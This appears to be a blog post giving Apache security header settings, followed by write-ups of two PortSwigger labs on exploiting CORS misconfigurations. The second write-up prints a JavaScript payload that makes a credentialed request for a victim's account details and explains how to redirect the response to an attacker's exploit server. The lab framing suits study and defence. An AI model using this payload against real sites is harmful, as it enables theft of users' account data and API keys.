This post explores some security configurations that Developers / DevOps engineer can consider when Apache server is used by the application.
The first thing to do is to identify the location of the httpd.conf file in the Apache server. This is the file where we will add the additional security settings to the server. Make sure ‘#’ is removed from the line “LoadModule headers_module modules/mod_headers.so”. Restart the server after the changes are made in order to see the effects.
Note that if you are testing the localhost, Chrome browser will not display cookie because localhost is using http. Session cookie is used (In cookie expires, it should show session)
Cross-Frame Scripting (XFS) protection:
Header set Content-Security-Policy "frame-ancestors none;" Header set X-Frame-Options: "DENY"
Preventing Information Disclosure about the server and language
The following setings will remove Apache Version information from the error messages and header response.
ServerSignature Off ServerTokens Prod
In php.ini config file, set expose_php as off to remove PHP version in the header response.
When testing for CORS Misconfiguration, modify the Origin in the request to another URL (www.example.com) and then look at the Access-Control-Allow-Origin see if this arbitrary URL is allowed. If so, then the server is likely to be using wildcard that allows all origin.
Web Security AcademyLab Write-outs
(a) CORS vulnerability with basic origin reflection
In this lab, we first confirm that wildcard is used by changing the Origin to an arbitrary URL. After we sent the request, we can see that it is appearing under Access-Control-Allow-Origin.
Then, we exploited the scenario where Access-Control-Allow-Credentials is set as True. This means that the response from server is telling the browser to expose the response to front-end JavaScript code.
Now we will need to write an exploit to make a request to the vulnerable endpoint and then append the credentials to the response parameter. In this case, Portswigger have made our lives easier by providing us an exploit server. So we simply provide the JavaScript exploit code and execute them. The exploit server also show us the logs as well for verification. If someone is logged in and click on the link from the exploit server, then we can see the API key being appended to the server log.
(b) Chaining XSS with CORS vulnerability to break TLS
First, we need to identify where the XSS vulnerability is. And if we navigate and test the application, we can see that the stock checking feature has a XSS vulnerability. Try testing a few payload to verify.
Now the next part of the chain requires login to the Application (using the credentials provided). Then, we will exploit the XSS to execute JavaScript that send a request to the endpoint that has CORS vulnerability.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener; req.open('get','https://acba1fed1e1eecba80170d5800a20097.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
alert(this.responseText)
};
</script>
We are sending GET request to the /accountDetails path because the response of the endpoint has configured Access-Control-Allow-Credentials as true.
In our request, we can notice that the request is configured withCredentials as true. This allows the request to send cookie to the server. And the server must set response with the header Access-Control-Allow-Credentials to be true as well to allow cookies / user credential to be included in CORS request.
Suppose you didn’t set withCredentials in the request header. What you will see is that the request will be unauthorized since the cookie is not sent to the server.
Now try the save the following script as home.html and open it in the browser. We will be able see an alert pop-out that displays the user account information:
Instead of using alert, we will use location and set as (exploit server URL + this.response.text). Then add the exploit script to the exploit server and send it to the administrator.
